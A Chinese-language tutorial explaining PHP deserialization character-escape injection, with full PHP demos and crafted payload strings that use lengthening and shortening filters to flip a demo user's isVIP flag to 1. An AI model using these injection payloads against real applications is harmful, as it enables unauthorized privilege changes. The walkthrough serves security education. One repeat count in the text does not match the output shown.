PHP反序列化字符逃逸的原理
当开发者使用先将对象序列化,然后将对象中的字符进行过滤,最后再进行反序列化。这个时候就有可能会产生PHP反序列化字符逃逸的漏洞。
详解PHP反序列化字符逃逸
对于PHP反序列字符逃逸,我们分为以下两种情况进行讨论。
过滤后字符变多
过滤后字符变少
过滤后字符变多
假设我们先定义一个user
类,然后里面一共有3个成员变量:username
、password
、isVIP
。
class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; } }
可以看到当这个类被初始化的时候,isVIP
变量默认是0
,并且不受初始化传入的参数影响。
接下来把完整代码贴出来,便于我们分析。
<?php class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; } } $a = new user("admin","123456"); $a_seri = serialize($a); echo $a_seri; ?>
这一段程序的输出结果如下:
O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
可以看到,对象序列化之后的isVIP
变量是0
。
这个时候我们增加一个函数,用于对admin字符进行替换,将admin替换为hacker,替换函数如下:
function filter($s){ return str_replace("admin","hacker",$s); }
因此整段程序如下:
<?php class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; } } function filter($s){ return str_replace("admin","hacker",$s); } $a = new user("admin","123456"); $a_seri = serialize($a); $a_seri_filter = filter($a_seri); echo $a_seri_filter; ?>
这一段程序的输出为:
O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
这个时候我们把这两个程序的输出拿出来对比一下:
O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //未过滤 O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //已过滤
可以看到已过滤字符串中的hacker
与前面的字符长度不对应了
s:5:"admin"; s:5:"hacker";
在这个时候,对于我们,在新建对象的时候,传入的admin
就是我们的可控变量
接下来明确我们的目标:将isVIP
变量的值修改为1
首先我们将我们的现有子串和目标子串进行对比:
";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //现有子串 ";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串
也就是说,我们要在admin
这个可控变量的位置,注入我们的目标子串。
首先计算我们需要注入的目标子串的长度:
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //以上字符串的长度为47
因为我们需要逃逸的字符串长度为47
,并且admin
每次过滤之后都会变成hacker
,也就是说每出现一次admin
,就会多1
个字符。
因此我们在可控变量处,重复47遍admin,然后加上我们逃逸后的目标子串,可控变量修改如下:
adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
完整代码如下:
<?php class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; } } function filter($s){ return str_replace("admin","hacker",$s); } $a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}','123456'); $a_seri = serialize($a); $a_seri_filter = filter($a_seri); echo $a_seri_filter; ?>
程序输出结果为:
O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
我们可以数一下hacker的数量,一共是47个hacker,共282个字符,正好与前面282相对应。
后面的注入子串也正好完成了逃逸。
反序列化后,多余的子串会被抛弃
我们接着将这个序列化结果反序列化,然后将其输出,完整代码如下:
<?php class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; } } function filter($s){ return str_replace("admin","hacker",$s); } $a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}','123456'); $a_seri = serialize($a); $a_seri_filter = filter($a_seri); $a_seri_filter_unseri = unserialize($a_seri_filter); var_dump($a_seri_filter_unseri); ?>
程序输出如下:
object(user)#2 (3) { ["username"]=> string(282) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker" ["password"]=> string(6) "123456" ["isVIP"]=> int(1) }
可以看到这个时候,isVIP
这个变量就变成了1
,反序列化字符逃逸的目的也就达到了。
过滤后字符变少
上面描述了PHP反序列化字符逃逸中字符变多的情况。
以下开始解释反序列化字符逃逸变少的情况。
首先,和上面的主体代码还是一样,还是同一个class,与之有区别的是过滤函数中,我们将hacker修改为hack。
完整代码如下:
<?php class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; } } function filter($s){ return str_replace("admin","hack",$s); } $a = new user('admin','123456'); $a_seri = serialize($a); $a_seri_filter = filter($a_seri); echo $a_seri_filter; ?>
得到结果:
O:4:"user":3:{s:8:"username";s:5:"hack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
同样比较一下现有子串和目标子串:
";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //现有子串 ";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串
因为过滤的时候,将5个字符删减为了4个,所以和上面字符变多的情况相反,随着加入的admin的数量增多,现有子串后面会缩进来。
计算一下目标子串的长度:
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串 //长度为47
再计算一下到下一个可控变量的字符串长度:
";s:8:"password";s:6:" //长度为22
因为每次过滤的时候都会少1个字符,因此我们先将admin字符重复22遍(这里的22遍不像字符变多的逃逸情况精确,后面可能会需要做调整)
完整代码如下:(这里的变量里一共有22个admin)
<?php class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; } } function filter($s){ return str_replace("admin","hack",$s); } $a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','123456'); $a_seri = serialize($a); $a_seri_filter = filter($a_seri); echo $a_seri_filter; ?>
输出结果:
注意:PHP反序列化的机制是,比如如果前面是规定了有10个字符,但是只读到了9个就到了双引号,这个时候PHP会把双引号当做第10个字符,也就是说不根据双引号判断一个字符串是否已经结束,而是根据前面规定的数量来读取字符串。
O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
这里我们需要仔细看一下s后面是105,也就是说我们需要读取到105个字符。从第一个引号开始,105个字符如下:
hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:
也就是说123456这个地方成为了我们的可控变量,在123456可控变量的位置中添加我们的目标子串
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串
完整代码为:
<?php class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; } } function filter($s){ return str_replace("admin","hack",$s); } $a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}'); $a_seri = serialize($a); $a_seri_filter = filter($a_seri); echo $a_seri_filter; ?>
输出:
O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}
仔细观察这一串字符串可以看到紫色方框内一共107个字符,但是前面只有显示105
造成这种现象的原因是:替换之前我们目标子串的位置是123456,一共6个字符,替换之后我们的目标子串显然超过10个字符,所以会造成计算得到的payload不准确
解决办法是:多添加2个admin,这样就可以补上缺少的字符。
修改后代码如下:
<?php class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; } } function filter($s){ return str_replace("admin","hack",$s); } $a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}'); $a_seri = serialize($a); $a_seri_filter = filter($a_seri); echo $a_seri_filter; ?>
输出结果为:
O:4:"user":3:{s:8:"username";s:115:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}
分析一下输出结果:
可以看到,这一下就对了。
我们将对象反序列化然后输出,代码如下:
<?php class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; } } function filter($s){ return str_replace("admin","hack",$s); } $a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}'); $a_seri = serialize($a); $a_seri_filter = filter($a_seri); $a_seri_filter_unseri = unserialize($a_seri_filter); var_dump($a_seri_filter_unseri); ?>
得到结果:
object(user)#2 (3) { ["username"]=> string(115) "hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"" ["password"]=> string(6) "123456" ["isVIP"]=> int(1) }
可以看到,这个时候isVIP
的值也为1
,也就达到了我们反序列化字符逃逸的目的了
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